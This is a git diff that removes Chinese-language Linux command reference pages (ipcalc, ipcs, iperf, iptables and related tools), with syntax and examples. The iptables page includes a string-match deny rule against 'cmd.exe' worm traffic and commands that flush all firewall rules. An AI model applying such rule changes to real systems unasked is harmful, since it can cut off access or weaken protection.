实例

-
[root@localhost ~]# ipcalc -p 192.168.2.1 255.255.255.0
-PREFIX=24
-
-[root@localhost ~]# ipcalc -n 192.168.2.1 255.255.255.0
-NETWORK=192.168.2.0
-
-[root@localhost ~]# ipcalc -h 127.0.0.1
-hostname=localhost.localdomain
-
-[root@localhost ~]# ipcalc -m 192.168.2.1
-NETMASK=255.255.255.0
-
-[root@localhost ~]# ipcalc -pnbm 192.168.2.1 255.255.255.0
-NETMASK=255.255.255.0
-PREFIX=24
-BROADCAST=192.168.2.255
-NETWORK=192.168.2.0
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ipcrm.html b/linux-command.docset/Contents/Resources/Documents/c/ipcrm.html deleted file mode 100644 index bc9fcae121..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ipcrm.html +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - - - - - - ipcrm 命令,Linux ipcrm 命令详解:删除消息队列、信号集、或者共享内存标识 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ipcrm

-

删除消息队列、信号集、或者共享内存标识

-

补充说明

-

ipcrm命令 用来删除一个或更多的消息队列、信号量集或者共享内存标识。

-

语法

-
ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q MessageKey ] [ -s SemaphoreID ] [ -S SemaphoreKey ]
-
-

选项

-
-m SharedMemory id 删除共享内存标识 SharedMemoryID。与 SharedMemoryID 有关联的共享内存段以及数据结构都会在最后一次拆离操作后删除。
--M SharedMemoryKey 删除用关键字 SharedMemoryKey 创建的共享内存标识。与其相关的共享内存段和数据结构段都将在最后一次拆离操作后删除。
--q MessageID 删除消息队列标识 MessageID 和与其相关的消息队列和数据结构。
--Q MessageKey 删除由关键字 MessageKey 创建的消息队列标识和与其相关的消息队列和数据结构。
--s SemaphoreID 删除信号量标识 SemaphoreID 和与其相关的信号量集及数据结构。
--S SemaphoreKey 删除由关键字 SemaphoreKey 创建的信号标识和与其相关的信号量集和数据结构。
-
-

msgctl、shmctl 和 semctl 子例程提供了删除操作的细节。标识和关键字可以用 ipcs 命令找到。

-

示例

-

如果要删除和 SharedMemoryID 18602 相关的共享内存段,请输入:

-
ipcrm -m 18602
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ipcs.html b/linux-command.docset/Contents/Resources/Documents/c/ipcs.html deleted file mode 100644 index f12f393e9c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ipcs.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - ipcs 命令,Linux ipcs 命令详解:分析消息队列共享内存和信号量 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ipcs

-

分析消息队列共享内存和信号量

-

补充说明

-

ipcs命令 用于报告Linux中进程间通信设施的状态,显示的信息包括消息列表、共享内存和信号量的信息。

-

语法

-
ipcs(选项)
-
-

选项

-
-a:显示全部可显示的信息;
--q:显示活动的消息队列信息;
--m:显示活动的共享内存信息;
--s:显示活动的信号量信息。
-
-

实例

-
ipcs -a
------- Shared Memory Segments --------
-key        shmid      owner      perms      bytes      nattch     status      
-0x7401833d 2654208    root      600        4          0                       
-0x00000000 3145729    root      600        4194304    9          dest         
-0x7401833c 2621442    root      600        4          0                       
-0xd201012b 3080195    root      600        1720       2
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/iperf.html b/linux-command.docset/Contents/Resources/Documents/c/iperf.html deleted file mode 100644 index a719faaf15..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/iperf.html +++ /dev/null @@ -1,277 +0,0 @@ - - - - - - - - - - - iperf 命令,Linux iperf 命令详解:网络性能测试工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

iperf

-

网络性能测试工具

-

补充说明

-

iperf命令 是一个网络性能测试工具。iperf可以测试TCP和UDP带宽质量。iperf可以测量最大TCP带宽,具有多种参数和UDP特性。iperf可以报告带宽,延迟抖动和数据包丢失。利用iperf这一特性,可以用来测试一些网络设备如路由器,防火墙,交换机等的性能。

-

iperf分为两种版本,Unix/Linux版和Windows版,Unix/Linux版更新比较快,版本最新。Windows版更新慢。Windows版的iperf叫jperf,或者xjperf。jperf是在iperf基础上开发了更好的UI和新的功能。

-

Linux版本下载地址:http://code.google.com/p/iperf/downloads/list

-

安装iperf

-

对于windows版的iperf,直接将解压出来的iperf.exe和cygwin1.dll复制到%systemroot%目录即可,对于linux版的iperf,请使用如下命令安装:

-
gunzip -c iperf-<version>.tar.gz | tar -xvf -
-cd iperf-<version>
-./configure
-make
-make install
-
-

选项

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
命令行选项描述
客户端与服务器共用选项
-f, --format [bkmaBKMA]格式化带宽数输出。支持的格式有: -'b' = bits/sec 'B' = Bytes/sec -'k' = Kbits/sec 'K' = KBytes/sec -'m' = Mbits/sec 'M' = MBytes/sec -'g' = Gbits/sec 'G' = GBytes/sec -'a' = adaptive bits/sec 'A' = adaptive Bytes/sec -自适应格式是kilo-和mega-二者之一。除了带宽之外的字段都输出为字节,除非指定输出的格式,默认的参数是a。 -注意:在计算字节byte时,Kilo = 1024, Mega = 1024^2,Giga = 1024^3。通常,在网络中,Kilo = 1000, Mega = 1000^2, and Giga = 1000^3,所以,Iperf也按此来计算比特(位)。如果这些困扰了你,那么请使用-f b参数,然后亲自计算一下。
-i, --interval #设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零。
-l, --len #[KM]设置读写缓冲区的长度。TCP方式默认为8KB,UDP方式默认为1470字节。
-m, --print_mss输出TCP MSS值(通过TCP_MAXSEG支持)。MSS值一般比MTU值小40字节。通常情况
-p, --port #设置端口,与服务器端的监听端口一致。默认是5001端口,与ttcp的一样。
-u, --udp使用UDP方式而不是TCP方式。参看-b选项。
-w, --window #[KM]设置套接字缓冲区为指定大小。对于TCP方式,此设置为TCP窗口大小。对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值。
-B, --bind host绑定到主机的多个地址中的一个。对于客户端来说,这个参数设置了出栈接口。对于服务器端来说,这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下,此参数用于绑定和加入一个多播组。使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。
-C, --compatibility与低版本的Iperf使用时,可以使用兼容模式。不需要两端同时使用兼容模式,但是强烈推荐两端同时使用兼容模式。某些情况下,使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。
-M, --mss #ip头减去40字节。在以太网中,MSS值 为1460字节(MTU1500字节)。许多操作系统不支持此选项。
-N, --nodelay设置TCP无延迟选项,禁用Nagle's运算法则。通常情况此选项对于交互程序,例如telnet,是禁用的。
-V (from v1.6 or higher)绑定一个IPv6地址。 -服务端:$ iperf -s –V -客户端:$ iperf -c -V -注意:在1.6.3或更高版本中,指定IPv6地址不需要使用-B参数绑定,在1.6之前的版本则需要。在大多数操作系统中,将响应IPv4客户端映射的IPv4地址。
服务器端专用选项
-s, --serverIperf服务器模式
-D (v1.2或更高版本)Unix平台下Iperf作为后台守护进程运行。在Win32平台下,Iperf将作为服务运行。
-R(v1.2或更高版本,仅用于Windows)卸载Iperf服务(如果它在运行)。
-o(v1.2或更高版本,仅用于Windows)重定向输出到指定文件
-c, --client host如果Iperf运行在服务器模式,并且用-c参数指定一个主机,那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。
-P, --parallel #服务器关闭之前保持的连接数。默认是0,这意味着永远接受连接。
客户端专用选项
-b, --bandwidth #[KM]UDP模式使用的带宽,单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。
-c, --client host运行Iperf的客户端模式,连接到指定的Iperf服务器端。
-d, --dualtest运行双测试模式。这将使服务器端反向连接到客户端,使用-L 参数中指定的端口(或默认使用客户端连接到服务器端的端口)。这些在操作的同时就立即完成了。如果你想要一个交互的测试,请尝试-r参数。
-n, --num #[KM]传送的缓冲器数量。通常情况,Iperf按照10秒钟发送数据。-n参数跨越此限制,按照指定次数发送指定长度的数据,而不论该操作耗费多少时间。参考-l与-t选项。
-r, --tradeoff往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口(或默认为客户端连接到服务器端的端口),反向连接至客户端。当客户端连接终止时,反向连接随即开始。如果需要同时进行双向测试,请尝试-d参数。
-t, --time #设置传输的总时间。Iperf在指定的时间内,重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。
-L, --listenport #指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。
-P, --parallel #线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。
-S, --tos #出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值,使用以"0x"开始的16进制数,或以"0"开始的8进制数或10进制数。 -例如,16进制'0x10' = 8进制'020' = 十进制'16'。TOS值1349就是: -IPTOS_LOWDELAY minimize delay 0x10 -IPTOS_THROUGHPUT maximize throughput 0x08 -IPTOS_RELIABILITY maximize reliability 0x04 -IPTOS_LOWCOST minimize cost 0x02
-T, --ttl #出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1,链接本地。
-F (from v1.2 or higher)使用特定的数据流测量带宽,例如指定的文件。 -$ iperf -c -F
-I (from v1.2 or higher)与-F一样,由标准输入输出文件输入数据。
杂项
-h, --help显示命令行参考并退出 。
-v, --version显示版本信息和编译信息并退出。
-

实例

-

带宽测试通常采用UDP模式,因为能测出极限带宽、时延抖动、丢包率。在进行测试时,首先以链路理论带宽作为数据发送速率进行测试,例如,从客户端到服务器之间的链路的理论带宽为100Mbps,先用-b 100M进行测试,然后根据测试结果(包括实际带宽,时延抖动和丢包率),再以实际带宽作为数据发送速率进行测试,会发现时延抖动和丢包率比第一次好很多,重复测试几次,就能得出稳定的实际带宽。

-

UDP模式

-

服务器端:

-
iperf -u -s
-
-

客户端:

-
iperf -u -c 192.168.1.1 -b 100M -t 60
-
-

在udp模式下,以100Mbps为数据发送速率,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。

-
iperf -u -c 192.168.1.1 -b 5M -P 30 -t 60
-
-

客户端同时向服务器端发起30个连接线程,以5Mbps为数据发送速率。

-
iperf -u -c 192.168.1.1 -b 100M -d -t 60
-
-

以100M为数据发送速率,进行上下行带宽测试。

-

TCP模式

-

服务器端:

-
iperf -s
-
-

客户端:

-
iperf -c 192.168.1.1 -t 60
-
-

在tcp模式下,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。

-
iperf -c 192.168.1.1  -P 30 -t 60
-
-

客户端同时向服务器端发起30个连接线程。

-
iperf -c 192.168.1.1  -d -t 60
-
-

进行上下行带宽测试。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/iptables-restore.html b/linux-command.docset/Contents/Resources/Documents/c/iptables-restore.html deleted file mode 100644 index 17ee3f2af8..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/iptables-restore.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - iptables-restore 命令,Linux iptables-restore 命令详解:还原iptables表的配置 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

iptables-restore

-

还原iptables表的配置

-

补充说明

-

iptables-restore命令 用来还原iptables-save命令所备份的iptables配置。

-

语法

-
iptables-restore(选项)
-
-

选项

-
-c:指定在还原iptables表时候,还原当前的数据包计数器和字节计数器的值;
--t:指定要还原表的名称。
-
-

实例

-
iptables-restore < iptables.bak
-
-

iptables.bak是iptables-save命令所备份的文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/iptables-save.html b/linux-command.docset/Contents/Resources/Documents/c/iptables-save.html deleted file mode 100644 index 940a199066..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/iptables-save.html +++ /dev/null @@ -1,96 +0,0 @@ - - - - - - - - - - - iptables-save 命令,Linux iptables-save 命令详解:备份iptables的表配置 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

iptables-save

-

备份iptables的表配置

-

补充说明

-

iptables-save命令 用于将linux内核中的iptables表导出到标准输出设备商,通常,使用shell中I/O重定向功能将其输出保存到指定文件中。

-

语法

-
iptables-save(选项)
-
-

选项

-
-c:指定要保存的iptables表时,保存当权的数据包计算器和字节计数器的值;
--t:指定要保存的表的名称。
-
-

实例

-
[root@localhost ~]# iptables-save -t filter > iptables.bak
-[root@localhost ~]# cat iptables.bak
-# Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013
-*filter
-:INPUT DROP [48113:2690676]
-:FORWARD accept [0:0]
-:OUTPUT ACCEPT [3381959:1818595115]
--A INPUT -i lo -j ACCEPT
--A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
--A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
--A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
--A INPUT -p icmp -j ACCEPT
--A OUTPUT -o lo -j ACCEPT
-COMMIT
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/iptables.html b/linux-command.docset/Contents/Resources/Documents/c/iptables.html deleted file mode 100644 index 486ee955f9..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/iptables.html +++ /dev/null @@ -1,495 +0,0 @@ - - - - - - - - - - - iptables 命令,Linux iptables 命令详解:Linux上常用的防火墙软件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

iptables

-

Linux上常用的防火墙软件

-

补充说明

-

iptables命令 是Linux上常用的防火墙软件,是netfilter项目的一部分。可以直接配置,也可以通过许多前端和图形界面配置。

- - - -

语法

-
iptables(选项)(参数)
-
-

选项

-
-t, --table table 对指定的表 table 进行操作, table 必须是 raw, nat,filter,mangle 中的一个。如果不指定此选项,默认的是 filter 表。
-
-# 通用匹配:源地址目标地址的匹配
--p:指定要匹配的数据包协议类型;
--s, --source [!] address[/mask] :把指定的一个/一组地址作为源地址,按此规则进行过滤。当后面没有 mask 时,address 是一个地址,比如:192.168.1.1;当 mask 指定时,可以表示一组范围内的地址,比如:192.168.1.0/255.255.255.0。
--d, --destination [!] address[/mask] :地址格式同上,但这里是指定地址为目的地址,按此进行过滤。
--i, --in-interface [!] <网络接口name> :指定数据包的来自来自网络接口,比如最常见的 eth0 。注意:它只对 INPUT,FORWARD,PREROUTING 这三个链起作用。如果没有指定此选项, 说明可以来自任何一个网络接口。同前面类似,"!" 表示取反。
--o, --out-interface [!] <网络接口name> :指定数据包出去的网络接口。只对 OUTPUT,FORWARD,POSTROUTING 三个链起作用。
-
-# 查看管理命令
--L, --list [chain] 列出链 chain 上面的所有规则,如果没有指定链,列出表上所有链的所有规则。
-
-# 规则管理命令
--A, --append chain rule-specification 在指定链 chain 的末尾插入指定的规则,也就是说,这条规则会被放到最后,最后才会被执行。规则是由后面的匹配来指定。
--I, --insert chain [rulenum] rule-specification 在链 chain 中的指定位置插入一条或多条规则。如果指定的规则号是1,则在链的头部插入。这也是默认的情况,如果没有指定规则号。
--D, --delete chain rule-specification -D, --delete chain rulenum 在指定的链 chain 中删除一个或多个指定规则。
--R num:Replays替换/修改第几条规则
-
-# 链管理命令(这都是立即生效的)
--P, --policy chain target :为指定的链 chain 设置策略 target。注意,只有内置的链才允许有策略,用户自定义的是不允许的。
--F, --flush [chain] 清空指定链 chain 上面的所有规则。如果没有指定链,清空该表上所有链的所有规则。
--N, --new-chain chain 用指定的名字创建一个新的链。
--X, --delete-chain [chain] :删除指定的链,这个链必须没有被其它任何规则引用,而且这条上必须没有任何规则。如果没有指定链名,则会删除该表中所有非内置的链。
--E, --rename-chain old-chain new-chain :用指定的新名字去重命名指定的链。这并不会对链内部造成任何影响。
--Z, --zero [chain] :把指定链,或者表中的所有链上的所有计数器清零。
-
--j, --jump target <指定目标> :即满足某条件时该执行什么样的动作。target 可以是内置的目标,比如 ACCEPT,也可以是用户自定义的链。
--h:显示帮助信息;
-
-

基本参数

-

| 参数 | 作用 | -| ---- | ---- | -| -P | 设置默认策略:iptables -P INPUT (DROP|ACCEPT) | -| -F | 清空规则链 | -| -L | 查看规则链 | -| -A | 在规则链的末尾加入新规则 | -| -I | num 在规则链的头部加入新规则 | -| -D | num 删除某一条规则 | -| -s | 匹配来源地址IP/MASK,加叹号"!"表示除这个IP外。 | -| -d | 匹配目标地址 | -| -i | 网卡名称 匹配从这块网卡流入的数据 | -| -o | 网卡名称 匹配从这块网卡流出的数据 | -| -p | 匹配协议,如tcp,udp,icmp | -| --dport num | 匹配目标端口号 | -| --sport num | 匹配来源端口号 |

-

命令选项输入顺序

-
iptables -t 表名 <-A/I/D/R> 规则链名 [规则号] <-i/o 网卡名> -p 协议名 <-s 源IP/源子网> --sport 源端口 <-d 目标IP/目标子网> --dport 目标端口 -j 动作
-
-

工作机制

-

规则链名包括(也被称为五个钩子函数(hook functions)):

-
    -
  • INPUT链 :处理输入数据包。
  • -
  • OUTPUT链 :处理输出数据包。
  • -
  • FORWARD链 :处理转发数据包。
  • -
  • PREROUTING链 :用于目标地址转换(DNAT)。
  • -
  • POSTOUTING链 :用于源地址转换(SNAT)。
  • -
-

防火墙的策略

-

防火墙策略一般分为两种,一种叫策略,一种叫策略,通策略,默认门是关着的,必须要定义谁能进。堵策略则是,大门是洞开的,但是你必须有身份认证,否则不能进。所以我们要定义,让进来的进来,让出去的出去,所以通,是要全通,而堵,则是要选择。当我们定义的策略的时候,要分别定义多条功能,其中:定义数据包中允许或者不允许的策略,filter过滤的功能,而定义地址转换的功能的则是nat选项。为了让这些功能交替工作,我们制定出了“表”这个定义,来定义、区分各种不同的工作功能和处理方式。

-

我们现在用的比较多个功能有3个:

-
    -
  1. filter 定义允许或者不允许的,只能做在3个链上:INPUT ,FORWARD ,OUTPUT
  2. -
  3. nat 定义地址转换的,也只能做在3个链上:PREROUTING ,OUTPUT ,POSTROUTING
  4. -
  5. mangle功能:修改报文原数据,是5个链都可以做:PREROUTING,INPUT,FORWARD,OUTPUT,POSTROUTING
  6. -
-

我们修改报文原数据就是来修改TTL的。能够实现将数据包的元数据拆开,在里面做标记/修改内容的。而防火墙标记,其实就是靠mangle来实现的。

-

小扩展:

-
    -
  • 对于filter来讲一般只能做在3个链上:INPUT ,FORWARD ,OUTPUT
  • -
  • 对于nat来讲一般也只能做在3个链上:PREROUTING ,OUTPUT ,POSTROUTING
  • -
  • 而mangle则是5个链都可以做:PREROUTING,INPUT,FORWARD,OUTPUT,POSTROUTING
  • -
-

iptables/netfilter(这款软件)是工作在用户空间的,它可以让规则进行生效的,本身不是一种服务,而且规则是立即生效的。而我们iptables现在被做成了一个服务,可以进行启动,停止的。启动,则将规则直接生效,停止,则将规则撤销。

-

iptables还支持自己定义链。但是自己定义的链,必须是跟某种特定的链关联起来的。在一个关卡设定,指定当有数据的时候专门去找某个特定的链来处理,当那个链处理完之后,再返回。接着在特定的链中继续检查。

-

注意:规则的次序非常关键,谁的规则越严格,应该放的越靠前,而检查规则的时候,是按照从上往下的方式进行检查的。

-

表名包括:

-
    -
  • raw :高级功能,如:网址过滤。
  • -
  • mangle :数据包修改(QOS),用于实现服务质量。
  • -
  • nat :地址转换,用于网关路由器。
  • -
  • filter :包过滤,用于防火墙规则。
  • -
-

动作包括:

-
    -
  • ACCEPT :接收数据包。
  • -
  • DROP :丢弃数据包。
  • -
  • REDIRECT :重定向、映射、透明代理。
  • -
  • SNAT :源地址转换。
  • -
  • DNAT :目标地址转换。
  • -
  • MASQUERADE :IP伪装(NAT),用于ADSL。
  • -
  • LOG :日志记录。
  • -
  • SEMARK : 添加SEMARK标记以供网域内强制访问控制(MAC)
  • -
-
                             ┏╍╍╍╍╍╍╍╍╍╍╍╍╍╍╍┓
- ┌───────────────┐           ┃    Network    ┃
- │ table: filter │           ┗━━━━━━━┳━━━━━━━┛
- │ chain: INPUT  │◀────┐             │
- └───────┬───────┘     │             ▼
-         │             │   ┌───────────────────┐
-  ┌      ▼      ┐      │   │ table: nat        │
-  │local process│      │   │ chain: PREROUTING │
-  └             ┘      │   └─────────┬─────────┘
-         │             │             │
-         ▼             │             ▼              ┌─────────────────┐
-┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅    │     ┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅      │table: nat       │
- Routing decision      └───── outing decision ─────▶│chain: PREROUTING│
-┅┅┅┅┅┅┅┅┅┳┅┅┅┅┅┅┅┅┅          ┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅      └────────┬────────┘
-         │                                                   │
-         ▼                                                   │
- ┌───────────────┐                                           │
- │ table: nat    │           ┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅               │
- │ chain: OUTPUT │    ┌─────▶ outing decision ◀──────────────┘
- └───────┬───────┘    │      ┅┅┅┅┅┅┅┅┳┅┅┅┅┅┅┅┅
-         │            │              │
-         ▼            │              ▼
- ┌───────────────┐    │   ┌────────────────────┐
- │ table: filter │    │   │ chain: POSTROUTING │
- │ chain: OUTPUT ├────┘   └──────────┬─────────┘
- └───────────────┘                   │
-                                     ▼
-                             ┏╍╍╍╍╍╍╍╍╍╍╍╍╍╍╍┓
-                             ┃    Network    ┃
-                             ┗━━━━━━━━━━━━━━━┛
-
-

实例

-

清空当前的所有规则和计数

-
iptables -F  # 清空所有的防火墙规则
-iptables -X  # 删除用户自定义的空链
-iptables -Z  # 清空计数
-
-

配置允许ssh端口连接

-
iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 22 -j ACCEPT
-# 22为你的ssh端口, -s 192.168.1.0/24表示允许这个网段的机器来连接,其它网段的ip地址是登陆不了你的机器的。 -j ACCEPT表示接受这样的请求
-
-

允许本地回环地址可以正常使用

-
iptables -A INPUT -i lo -j ACCEPT
-#本地圆环地址就是那个127.0.0.1,是本机上使用的,它进与出都设置为允许
-iptables -A OUTPUT -o lo -j ACCEPT
-
-

设置默认的规则

-
iptables -P INPUT DROP # 配置默认的不让进
-iptables -P FORWARD DROP # 默认的不允许转发
-iptables -P OUTPUT ACCEPT # 默认的可以出去
-
-

配置白名单

-
iptables -A INPUT -p all -s 192.168.1.0/24 -j ACCEPT  # 允许机房内网机器可以访问
-iptables -A INPUT -p all -s 192.168.140.0/24 -j ACCEPT  # 允许机房内网机器可以访问
-iptables -A INPUT -p tcp -s 183.121.3.7 --dport 3380 -j ACCEPT # 允许183.121.3.7访问本机的3380端口
-
-

开启相应的服务端口

-
iptables -A INPUT -p tcp --dport 80 -j ACCEPT # 开启80端口,因为web对外都是这个端口
-iptables -A INPUT -p icmp --icmp-type 8 -j ACCEPT # 允许被ping
-iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 已经建立的连接得让它进来
-
-

保存规则到配置文件中

-
cp /etc/sysconfig/iptables /etc/sysconfig/iptables.bak # 任何改动之前先备份,请保持这一优秀的习惯
-iptables-save > /etc/sysconfig/iptables
-cat /etc/sysconfig/iptables
-
-

列出已设置的规则

-
-

iptables -L [-t 表名] [链名]

-
-
    -
  • 四个表名 rawnatfiltermangle
  • -
  • 五个规则链名 INPUTOUTPUTFORWARDPREROUTINGPOSTROUTING
  • -
  • filter表包含INPUTOUTPUTFORWARD三个规则链
  • -
-
iptables -L -t nat                  # 列出 nat 上面的所有规则
-#            ^ -t 参数指定,必须是 raw, nat,filter,mangle 中的一个
-iptables -L -t nat  --line-numbers  # 规则带编号
-iptables -L INPUT
-
-iptables -L -nv  # 查看,这个列表看起来更详细
-
-

清除已有规则

-
iptables -F INPUT  # 清空指定链 INPUT 上面的所有规则
-iptables -X INPUT  # 删除指定的链,这个链必须没有被其它任何规则引用,而且这条上必须没有任何规则。
-                   # 如果没有指定链名,则会删除该表中所有非内置的链。
-iptables -Z INPUT  # 把指定链,或者表中的所有链上的所有计数器清零。
-
-

删除已添加的规则

-
# 添加一条规则
-iptables -A INPUT -s 192.168.1.5 -j DROP
-
-

将所有iptables以序号标记显示,执行:

-
iptables -L -n --line-numbers
-
-

比如要删除INPUT里序号为8的规则,执行:

-
iptables -D INPUT 8
-
-

开放指定的端口

-
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT               #允许本地回环接口(即运行本机访问本机)
-iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT    #允许已建立的或相关连的通行
-iptables -A OUTPUT -j ACCEPT         #允许所有本机向外的访问
-iptables -A INPUT -p tcp --dport 22 -j ACCEPT    #允许访问22端口
-iptables -A INPUT -p tcp --dport 80 -j ACCEPT    #允许访问80端口
-iptables -A INPUT -p tcp --dport 21 -j ACCEPT    #允许ftp服务的21端口
-iptables -A INPUT -p tcp --dport 20 -j ACCEPT    #允许FTP服务的20端口
-iptables -A INPUT -j reject       #禁止其他未允许的规则访问
-iptables -A FORWARD -j REJECT     #禁止其他未允许的规则访问
-
-

屏蔽IP

-
iptables -A INPUT -p tcp -m tcp -s 192.168.0.8 -j DROP  # 屏蔽恶意主机(比如,192.168.0.8
-iptables -I INPUT -s 123.45.6.7 -j DROP       #屏蔽单个IP的命令
-iptables -I INPUT -s 123.0.0.0/8 -j DROP      #封整个段即从123.0.0.1到123.255.255.254的命令
-iptables -I INPUT -s 124.45.0.0/16 -j DROP    #封IP段即从123.45.0.1到123.45.255.254的命令
-iptables -I INPUT -s 123.45.6.0/24 -j DROP    #封IP段即从123.45.6.1到123.45.6.254的命令是
-
-

指定数据包出去的网络接口

-

只对 OUTPUT,FORWARD,POSTROUTING 三个链起作用。

-
iptables -A FORWARD -o eth0
-
-

查看已添加的规则

-
iptables -L -n -v
-Chain INPUT (policy DROP 48106 packets, 2690K bytes)
- pkts bytes target     prot opt in     out     source               destination
- 5075  589K ACCEPT     all  --  lo     *       0.0.0.0/0            0.0.0.0/0
- 191K   90M ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:22
-1499K  133M ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:80
-4364K 6351M ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0           state RELATED,ESTABLISHED
- 6256  327K ACCEPT     icmp --  *      *       0.0.0.0/0            0.0.0.0/0
-
-Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
- pkts bytes target     prot opt in     out     source               destination
-
-Chain OUTPUT (policy ACCEPT 3382K packets, 1819M bytes)
- pkts bytes target     prot opt in     out     source               destination
- 5075  589K ACCEPT     all  --  *      lo      0.0.0.0/0            0.0.0.0/0
-
-

启动网络转发规则

-

公网210.14.67.7让内网192.168.188.0/24上网

-
iptables -t nat -A POSTROUTING -s 192.168.188.0/24 -j SNAT --to-source 210.14.67.127
-
-

端口映射

-

本机的 2222 端口映射到内网 虚拟机的22 端口

-
iptables -t nat -A PREROUTING -d 210.14.67.127 -p tcp --dport 2222  -j DNAT --to-dest 192.168.188.115:22
-
-

字符串匹配

-

比如,我们要过滤所有TCP连接中的字符串test,一旦出现它我们就终止这个连接,我们可以这么做:

-
iptables -A INPUT -p tcp -m string --algo kmp --string "test" -j REJECT --reject-with tcp-reset
-iptables -L
-
-# Chain INPUT (policy ACCEPT)
-# target     prot opt source               destination
-# REJECT     tcp  --  anywhere             anywhere            STRING match "test" ALGO name kmp TO 65535 reject-with tcp-reset
-#
-# Chain FORWARD (policy ACCEPT)
-# target     prot opt source               destination
-#
-# Chain OUTPUT (policy ACCEPT)
-# target     prot opt source               destination
-
-

阻止Windows蠕虫的攻击

-
iptables -I INPUT -j DROP -p tcp -s 0.0.0.0/0 -m string --algo kmp --string "cmd.exe"
-
-

防止SYN洪水攻击

-
iptables -A INPUT -p tcp --syn -m limit --limit 5/second -j ACCEPT
-
-

添加SECMARK记录

-
iptables -t mangle -A INPUT -p tcp --src 192.168.1.2 --dport 443 -j SECMARK --selctx system_u:object_r:myauth_packet_t
-# 向从 192.168.1.2:443 以TCP方式发出到本机的包添加MAC安全上下文 system_u:object_r:myauth_packet_t
-
-

更多实例

-
-

用iptables搭建一套强大的安全防护盾 http://www.imooc.com/learn/389

-
-

iptables: linux 下应用层防火墙工具

-

iptables 5链: 对应 Hook point -netfilter: linux 操作系统核心层内部的一个数据包处理模块 -Hook point: 数据包在 netfilter 中的挂载点; PRE_ROUTING / INPUT / OUTPUT / FORWARD / POST_ROUTING

-

iptables & netfilter -

-

iptables 4表5链 -

-

iptables rules -

-
    -
  • 4表
  • -
-

filter: 访问控制 / 规则匹配 -nat: 地址转发 -mangle / raw

-
    -
  • 规则
  • -
-

数据访问控制: ACCEPT / DROP / REJECT -数据包改写(nat -> 地址转换): snat / dnat -信息记录: log

-

使用场景实例

-
    -
  • 场景一
  • -
-

开放 tcp 10-22/80 端口 -开放 icmp -其他未被允许的端口禁止访问

-

存在的问题: 本机无法访问本机; 本机无法访问其他主机

-
    -
  • 场景二
  • -
-

